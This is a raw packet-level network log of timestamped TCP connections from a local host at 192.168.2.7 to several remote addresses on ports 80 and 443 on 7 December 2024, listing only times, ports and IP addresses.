Dec 7, 2024 18:26:18.089241028 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.090038061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.090082884 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.090126038 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.090166092 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.091012955 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.091058016 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.091140985 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.091181040 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.091947079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.092000961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.092032909 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.092077017 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.092890978 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.092943907 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.092971087 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.093014002 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.093791962 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.093849897 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.093909025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.093954086 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.094733000 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.094782114 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.094840050 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.094882011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.095665932 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.095711946 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.095798016 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.095840931 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.096565962 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.096615076 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.096695900 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.096746922 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.097565889 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.097620010 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.097683907 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.097723961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.098463058 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.098510027 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.098594904 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.098637104 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.099407911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.099462032 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.099544048 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.099594116 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.100352049 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.100399017 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.100487947 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.100534916 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.101284981 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.101329088 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.101391077 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.101432085 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.102636099 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.102647066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.102705002 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.103204966 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.103262901 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.103296995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.103337049 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.104063034 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.104130030 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.104201078 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.104253054 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.105019093 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.105076075 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.105146885 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.105190039 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.105957985 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.106008053 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.106077909 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.106125116 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.106884003 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.106931925 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.107011080 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.107053995 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.107992887 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.108042002 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.135065079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.135159969 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.135207891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.135255098 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.135552883 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.135607958 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:19.721081018 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.722599030 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.722759008 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.722856998 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.723124981 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.723193884 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.723213911 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.724926949 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.724931955 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.733622074 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.733652115 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.734464884 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.734472036 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.740163088 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.740178108 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.740639925 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.740644932 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.741422892 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.741453886 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.741508961 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.741671085 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.741694927 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.741734982 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.742327929 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.742336988 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.742481947 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.742491961 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.743113041 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.743124962 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.743463993 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.743469000 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.743719101 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.743752003 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.744616985 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:19.744627953 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:19.755310059 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.755338907 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.755403042 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.755634069 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.755644083 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.789611101 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.789638042 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:19.789724112 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.789906025 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:19.789917946 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:20.157524109 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.157582045 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.157643080 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.157879114 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.157902002 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.157919884 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.157926083 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.158572912 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.158624887 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.158906937 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.159563065 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.159568071 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.159576893 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.159580946 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.162976980 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163014889 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163085938 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163460970 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163511992 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163563013 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163659096 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163670063 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163779020 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163789034 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163815975 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163837910 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163842916 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163871050 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163917065 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163942099 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163947105 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163966894 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163970947 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.163978100 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.163983107 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164022923 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164022923 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164030075 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164064884 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164064884 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164072037 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164072990 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164127111 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164134979 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164150953 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164211988 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164238930 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164258957 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164285898 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.164305925 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.164316893 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.166973114 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.167007923 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.167098045 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.167200089 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.167221069 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.167414904 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.167432070 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.167443037 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.167448044 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.169333935 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.169349909 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.169476986 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.170203924 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.170213938 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.170847893 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.170856953 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.170918941 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.171022892 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:20.171040058 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:20.331602097 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 18:26:21.487309933 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.487858057 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.487884998 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.488867044 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.488931894 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.489053011 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.490040064 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.490592003 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.490622997 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.490735054 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.490802050 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.490895987 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.490906954 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.491147995 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.491156101 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.491897106 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.491955996 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.491982937 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.492032051 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.493367910 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.493426085 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.493493080 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.493499994 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.493937969 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.494024038 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.494039059 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.494373083 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:21.535340071 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.541228056 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.541229963 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.541229963 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.541238070 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.588104963 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.689836025 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.690201998 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.690216064 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.691243887 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.691322088 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.691719055 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.691790104 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.691900015 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.691907883 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.744832039 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.790222883 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:21.790339947 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:21.870172977 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.870254993 CET	443	49711	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:21.870307922 CET	49711	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:21.920104980 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.921084881 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.921108961 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.921768904 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.921775103 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.925812960 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.926418066 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.926439047 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.926721096 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.927244902 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.927251101 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.927519083 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.927535057 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.927854061 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.928457975 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.928462029 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.928694010 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.928703070 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:21.929559946 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:21.929563999 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.327353001 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.327394962 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.327439070 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.327461004 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.328665018 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.328713894 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.328722954 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.331722975 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.331932068 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.331974983 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.332004070 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.332225084 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.332267046 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.332273960 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.336170912 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.336232901 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.336479902 CET	49709	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.336498976 CET	443	49709	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.346546888 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.346609116 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.346616030 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.354940891 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.354999065 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.355010986 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.355617046 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.355659962 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.355665922 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.361232996 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.361288071 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.361335993 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.361521959 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.361538887 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.361548901 CET	49716	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.361555099 CET	443	49716	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363082886 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363166094 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363212109 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.363321066 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363365889 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363464117 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.363542080 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.363547087 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363559961 CET	49718	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.363563061 CET	443	49718	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.363998890 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.364028931 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.364087105 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.364660025 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.364677906 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.364696026 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.364701986 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.364989996 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.365052938 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.365096092 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.365561008 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.365573883 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.366522074 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.366552114 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.366606951 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.366708040 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.366719961 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.366748095 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.366760015 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.366812944 CET	49715	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.366817951 CET	443	49715	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.368649960 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.368663073 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.368748903 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.369566917 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.369589090 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.369640112 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.369702101 CET	49723	443	192.168.2.7	13.107.246.63
